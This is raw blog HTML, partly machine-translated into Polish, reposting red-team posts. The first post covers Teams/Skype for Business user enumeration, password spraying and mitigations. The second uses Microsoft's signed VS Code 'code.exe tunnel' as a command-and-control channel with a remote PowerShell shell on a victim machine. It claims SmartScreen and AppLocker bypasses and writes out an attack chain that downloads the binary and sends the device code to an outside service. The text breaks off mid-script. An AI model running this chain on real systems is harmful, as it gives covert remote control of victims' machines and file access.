</span><span class="nv">$dax</span><span class="w"> </span><span class="o" style="font-weight: bold;">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="nv">$u</span><span class="w"> </span><span class="o" style="font-weight: bold;">=</span><span class="w"> </span><span class="s2">"https://lync-fe.</span><span class="si">$(</span><span class="bp">$_</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="font-weight: bold;">domain</span><span class="si">)</span><span class="s2">"</span><span class="p">;</span><span class="w"> </span><span class="nv">$u</span><span class="p">;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nt">-uri</span><span class="w"> </span><span class="nv">$u</span><span class="p">}</span><span class="w">
</span></span></code></pre></div></div><h2 id="identify-if-external-collaboration-is-enabled" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Identify if external collaboration is enabled</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">By querying the endpoint <code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">https://teams.microsoft.com/api/mt/part/emea-03/beta/users/FIRST.LAST@company.com/externalsearchv3?includeTFLUsers=true</code> with the adjusted data from the email gathering, or by just using the search field in the webclient, we can detect what setup is in use. A typical result will look like this: <img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_Settings_6.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Result of the external collaboration</em></span></p><h2 id="outcome" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Outcome</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">The results of the checks are a little bit suprising:</span></p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="color: white;">24 / 40 still have S4B in place, some hosted by Microsoft (online.lync.com).</span></li><li><span style="color: white;">08 / 40 have a self hosted and reachable S4B instance</span></li><li><span style="color: white;">35 / 40 use Teams or Teams <-> S4B interaction</span></li><li><span style="color: white;">10 / 40 allow external tenant communication</span></li></ul><h2 id="detection--mitigation" style="font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Detection & Mitigation</span></h2><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">It is necessary to differ here. Password spraying can be detected by logging the amount of failed attempts. As the lockout policy will likely not trigger, it is important to monitor a bigger timeframe, like five failed attempts for one account within 24h. Tools like Microsofts Defender Identity can support here.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">There is no protection against Teams email enumeration, besides to stop using Teams. However, a company email address should not be considered as secret, as there are several ways to gather and verify them.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">To protect against tishing (phishing via Teams), the easiest solution is to block external communication and to use the allowlist feature provided by Microsoft.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">These settings can be made in the Teams administration, similiarly for S4B.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><img alt="Deweloper-AAD" src="https://badoption.eu/assets/media/S4B/Teams_External_Settings.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Teams settings for external communication</em></span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">And as usual, if there is no technical countermeassure, users should be trained to be aware of the risk. However, as we know, there will always be this one click, or this one password entered.</span></p><h1 id="conclusion" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Conclusion</span></h1><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;">Microsoft’s S4B and Teams deliver an attacker a good attack surface. At a minimum, it is possible to enumerate email addresses and therefore validate users collected from OSINT. If there is a selfhosted S4B, it permits password spraying against the ActiveDirectory and will leak the FQDN of the server. If external tenant communication is allowed, an attacker could perform tishing, which is very effective, as most employees see Teams as an internal messenger and therefore trust it. The fact that, for example, the username or links can be spoofed increases the chances of an attacker to deliver an successfull attack.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;"><span style="vertical-align: inherit;">To dziwne, że funkcje bezpieczeństwa, które były wdrażane w urządzeniach pocztowych przez dziesięciolecia, są po prostu ignorowane w komunikatorach. </span><span style="vertical-align: inherit;">Co więcej, decyzja Microsoftu o domyślnym włączeniu komunikacji zewnętrznej jest wysoce wątpliwa z punktu widzenia bezpieczeństwa.</span></span></p><h1 id="links" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Spinki do mankietów</span></h1><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Prace i inspiracje innych:</span></p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><a href="https://mrd0x.com/microsoft-teams-abuse/" style="text-decoration-line: none;"><span style="color: white;">https://mrd0x.com/microsoft-teams-abuse/</span></a></li><li><a href="https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for-business-exploiting-the-missing-lync/" style="text-decoration-line: none;"><span style="color: white;">https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for-business-exploiting-the-missing-lync/</span></a></li><li><a href="https://www.trustedsec.com/blog/attacking-self-hosted-skype-businessmicrosoft-lync-installations/" style="text-decoration-line: none;"><span style="color: white;">https://www.trustedsec.com/blog/attacking-self-hosted-skype-businessmicrosoft-lync-installations/</span></a></li><li><a href="https://github.com/nyxgeek/lyncsmash" style="text-decoration-line: none;"><span style="color: white;">https://github.com/nyxgeek/lyncsmash</span></a></li><li><a href="https://github.com/insidetrust/statistically-likely-usernames" style="text-decoration-line: none;"><span style="color: white;">https://github.com/insidetrust/statistically-likely-usernames</span></a></li><li><a href="https://www.sprocketsecurity.com/resources/how-to-bypass-mfa-all-day" style="text-decoration-line: none;"><span style="color: white;">https://www.sprocketsecurity.com/resources/how-to-bypass-mfa-all-day</span></a></li></ul><p style="margin: 0px 0px 15px; padding: 0px;"><br /></p></div></article></div></main>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-6988739781797667452023-02-07T19:38:00.003+01:002023-02-07T19:38:54.367+01:00Let's Go (VS) Code — styl Red Team<p>Podpisany i hostowany przez firmę Microsoft Reverse Shell code.exe dzięki Visual Studio</p><p><br /></p><p>MS oferuje podpisany plik binarny (code.exe), który ustanowi kanał Command&Control za pośrednictwem oficjalnej domeny Microsoft https://vscode.dev. Sama komunikacja C2 idzie do https://global.rel.tunnels.api.visualstudio.com przez WebSockets. Atakujący potrzebuje tylko konta Github.</p><span><a name='more'></a></span><p>https://badoption.eu/docs/blog/2023/01/31/code_c2.html</p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Ostatnio przeglądałem dokumentację MS i natknąłem się na te dwie strony.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><a href="https://code.visualstudio.com/docs/remote/tunnels" style="color: #2a7ae2; text-decoration-line: none;">https://code.visualstudio.com/docs/remote/tunnels</a></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><a href="https://code.visualstudio.com/blogs/2022/12/07/remote-even-better" style="color: #2a7ae2; text-decoration-line: none;">https://code.visualstudio.com/blogs/2022/12/07/remote-even-better</a></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><img alt="Dokumentacja tuneli VSCode" src="https://badoption.eu/assets/media/Code_C2/MS_Doku_1.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Dokumentacja tuneli VSCode</em></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Więc co my tu mamy? </span><span style="vertical-align: inherit;">VSCode jest w stanie nawiązać połączenie ze zdalnym systemem.</span></span></p><ul style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="vertical-align: inherit;">Dobra, dobrze, ponieważ zdalne debuggery nie są nowe, nie tak ekscytujące, ale wszystko się poprawi.</span></li></ul><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Na końcu strony coś sprawia, że rzeczy stają się trochę bardziej ekscytujące. </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">Using the 'code' CLI</code></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Dobra, jest do tego przenośny plik binarny, fajnie.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.</code></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Dobra, jest domena MS, hosting kanału C2, sytuacja się poprawia. </span><span style="vertical-align: inherit;">Plik binarny VSCode jest również zgodny z proxy i przenośny.</span></span></p><h2 id="action" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Działanie</span></h2><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Jeśli otrzymamy wykonanie kodu na kliencie i tutaj po prostu założymy, że to mamy, możemy wprowadzić przenośną wersję VSCode, kod CLI. </span><span style="vertical-align: inherit;">Jeśli VSCode jest już zainstalowany, możemy po prostu trzymać się zainstalowanej wersji, nie ma to znaczenia. </span><span style="vertical-align: inherit;">Zanurzmy się w krokach.</span></span></p><h3 id="prepare-the-client" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 26px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Przygotuj klienta</span></h3><ul style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="vertical-align: inherit;">Pobierz plik binarny na kliencie stąd: </span><a href="https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" style="color: #2a7ae2; text-decoration-line: none;">https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64</a></li></ul><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Ponieważ plik binarny jest podpisany przez Microsoft, nie musimy zajmować się Mark-of-the-Web, ponieważ zostanie on zignorowany, a także ominiemy Smartscreen. </span><span style="vertical-align: inherit;">W połączeniu z niektórymi sztuczkami, które zobaczymy później, ominiemy także Applocker i Powershell Constrained Language Mode, jeśli są w domyślnej konfiguracji.</span></span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Certyfikat pliku binarnego jest następujący: </span><img alt="Code.exe podpisany przez MS" src="https://badoption.eu/assets/media/Code_C2/Code_Cert.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Code.exe podpisany przez MS</em></p><ul style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="vertical-align: inherit;">Uruchom plik binarny na kliencie.</span></li></ul><div class="language-plaintext highlighter-rouge" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px;"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;">PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
✔ Do you accept the terms in the License Agreement (Y/n)? · yes
To grant access to the server, please log into https://github.com/login/device and use code 71BC-3082
...
</code></pre></div></div><ul style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px 30px; padding: 0px;"><li><p style="margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Postępujemy zgodnie z instrukcjami i otwieramy podany adres URL w naszym systemie atakującym. </span><span style="vertical-align: inherit;">Zobaczymy uwierzytelnianie kodu urządzenia, znane z Azure. </span></span><img alt="Uwierzytelnianie kodu urządzenia Github" src="https://badoption.eu/assets/media/Code_C2/Code_Tunnel_Step1.png" style="max-width: 100%; vertical-align: middle;" width="75%" /> <em>Uwierzytelnianie kodu urządzenia Github</em></p></li><li><p style="margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Następnie zostanie ustanowiony tunel kodu.</span></p></li></ul><div class="language-plaintext highlighter-rouge" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px;"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;">PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp
</code></pre></div></div><h3 id="connect-via-browser-or-vscode" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 26px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Połącz przez przeglądarkę lub VSCode</span></h3><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Robimy więc, co nam kazano, i otwieramy stronę w przeglądarce na naszej maszynie atakującego.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Otrzymujemy ładny projekt roboczy na maszynie ofiary. </span><span style="vertical-align: inherit;">Poprzez adres URL możemy kontrolować ścieżkę, co oznacza, że jeśli użyjemy po prostu C: uzyskamy dostęp do wszystkich plików w systemie, w granicach uprawnień użytkownika. </span><span style="vertical-align: inherit;">Więc otwórz </span></span><a href="https://vscode.dev/tunnel/itsmeC2/C:" style="color: #2a7ae2; text-decoration-line: none;">https://vscode.dev/tunnel/itsmeC2/C:</a><span style="vertical-align: inherit;"> i dodaj C: do obszaru roboczego.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><img alt="Przeglądarka plików" src="https://badoption.eu/assets/media/Code_C2/Code_C2_1.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Przeglądarka plików w miejscu docelowym</em></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Fajnie, możemy zdalnie przeglądać, czytać i edytować wszystkie pliki.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Przeglądanie plików jest przyjemne, ale co z wykonywaniem poleceń? </span><span style="vertical-align: inherit;">Po prostu mówimy: Menue -> Terminal -> New Terminal </span></span><img alt="Zdalny Powershell" src="https://badoption.eu/assets/media/Code_C2/Code_C2_2.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Remote Powershell session</em></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">i otrzymujemy fajną zdalną sesję Powershell na kliencie.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Remoteshell ma wszystko, czego chcemy</span></p><ul style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="vertical-align: inherit;">Dostęp do historii</span></li><li><span style="vertical-align: inherit;">Podświetlanie składni</span></li><li><span style="vertical-align: inherit;">Zakończenie karty</span></li><li><span style="vertical-align: inherit;">Kontrola pracy - czyli interaktywna</span></li></ul><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Jest to dość responsywna, użyteczna zdalna sesja PowerShell.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Oprócz sesji Powershell istnieje kilka dodatkowych możliwości, takich jak uruchomienie zadania, „Uruchom i debuguj” plik lub możemy wykonać lokalne przekierowanie portów.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Fajną funkcją jest instalacja rozszerzeń na zdalnym hoście.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Na przykład możemy teraz uruchamiać niektóre skrypty Pythona, jeśli Python był zainstalowany na głównej maszynie. </span><span style="vertical-align: inherit;">Jedno zastrzeżenie jest takie, że musimy zapisać plik na dysku, ale można to obejść. </span></span><img alt="" src="https://badoption.eu/assets/media/Code_C2/Code_C2_5.png" style="max-width: 100%; vertical-align: middle;" width="100%" /> <em>Uruchamianie Pythona za pomocą zdalnie zainstalowanego rozszerzenia</em></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Łączenie się przez VSCode Desktop jest proste, potrzebujesz tylko rozszerzenia, jak podano w oficjalnym MS Blogpost.</span></p><h2 id="build-an-attack-chain" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 32px; font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Zbuduj łańcuch ataków</span></h2><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Spróbujmy zbudować kompletny łańcuch ataków. </span><span style="vertical-align: inherit;">Najpierw powinniśmy sprawdzić, czy możemy pozbyć się interaktywnej części uruchamiania tunelu i podać parametry w wierszu poleceń.</span></span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Możemy podać nazwę, aby uzyskać stałą nazwę instancji dla naszej sesji: </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 1px 5px;">.\code.exe tunnel --name itsmeC2V2</code></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Następnie pojawia się problem z uwierzytelnieniem. </span><span style="vertical-align: inherit;">Jeśli chodzi o </span></span><a href="https://github.com/microsoft/vscode/issues/170013" style="color: #2a7ae2; text-decoration-line: none;">https://github.com/microsoft/vscode/issues/170013</a><span style="vertical-align: inherit;"> , musimy użyć tokena odświeżania Github OAuth do uwierzytelnienia.</span></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Nie udało mi się uruchomić uwierzytelniania tokena Github OAuth, więc konieczny był dodatkowy krok, wysyłając kod urządzenia do usługi takiej jak </span><a href="https://app.interactsh.com/#/" style="color: #2a7ae2; text-decoration-line: none;">https://app.interactsh.com/#/</a></p><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Bardzo prosty łańcuch, bez zaciemniania, mógłby wyglądać mniej więcej tak.</span></p><div class="language-powershell highlighter-rouge" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px;"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span class="n">cd</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">C:\tmp</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#change folder</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">iwr</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-uri</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-OutFile</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">vscode.zip</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#download binary</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">Expand-Archive</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">vscode.zip</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#Expand the zip</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">cd</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">vscode</span><span class="w" style="color: #bbbbbb;">
</span><span class="o" style="font-weight: bold;">.</span><span class="n">\code.exe</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">tunnel</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">user</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">logout</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#logout previous user, if existing</span><span class="w" style="color: #bbbbbb;">
